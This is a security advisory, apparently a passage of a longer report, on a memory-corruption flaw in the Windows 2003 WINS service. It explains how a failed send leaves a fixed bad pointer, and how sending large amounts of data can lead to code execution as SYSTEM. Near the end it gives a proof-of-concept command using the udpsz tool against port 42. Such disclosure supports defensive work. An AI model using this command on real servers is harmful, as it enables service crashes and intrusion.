WINS stands for "Windows Internet Name Service" and is a classical
service running on port 42 usually active in intranet environments for
resolving the NetBIOS names.

2) Bug
======


Notes: the reported dumps refer to WINS 5.2.3790.4520 on Windows 2003
Server.

The problem is located in the function at address 0101488A used to
perform the sending of a reply packet back to the client where it's
raised an exception if send() fails, for example because the client
interrupted the connection before the receiving of the data.

In this function the size of the data to send (0x2c) is passed to
ntohl() and stored on the stack buffer where is located the beginning
of the packet to send, but when the exception is raised then the code
flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives
on 01013e8a where EDI takes the value at [EBP-4C] which is just
0x2c000000 (yes, it's 0x2c in network endian).

I have "tried" to resume the code flow here:

  01013E72   .  6A 2C         PUSH 2C                             ; /Arg3 = 0000002C

So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's
ntohl(0x2c) and normally there would be an exception at address
01014BC6 because that zone of the memory is not allocated.

Instead it's possible to force the allocation of that zone of memory
and filling it with the own stuff simply by sending a big amount of
data in the same connection (or maybe also in time separated
connections but I have not tested).
Absolutely not a problem considering the intranet nature of the
service.

To be exact I have noticed that the starting of allocation of memory
happens after the sending of 2 gigabytes of data, when the situation
that was stable till that moment changes suddenly and the service
starts to allocate memory till occupying the about 700 megabytes needed
to reach 0x2c000000.

As already said it can be used just from the same connection, indeed
the service accepts multiple requests since it simply cares that the
max size of the data block specified in the first 32bit field is minor
or equal than 3115000 so if the content is invalid the connection
remains open and will be never closed or interrupted.

When the zone of the memory that includes 0x2c000000 is allocated
LeaveCriticalSection can be used to decrease a 32bit arbitray zone of
the memory (or in some conditions increasing it and placing 0x00000000)
giving to an attacker the opportunity of modifying the subsequent code
flow and executing code under SYSTEM privileges.

3) The Code
===========


http://aluigi.org/testz/udpsz.zip

  udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008

when the dots displayed by the tool no longer advance press CTRL-C and
the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately
with EDI equal to 0x61616161.

Note that the time needed to exploit the vulnerability depends mainly
by the memory on the machine, it can be one minute if there is one
gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so
take it in mind during your tests: launch the command and wait
(patiently) the stopping of the dots in udpsz.
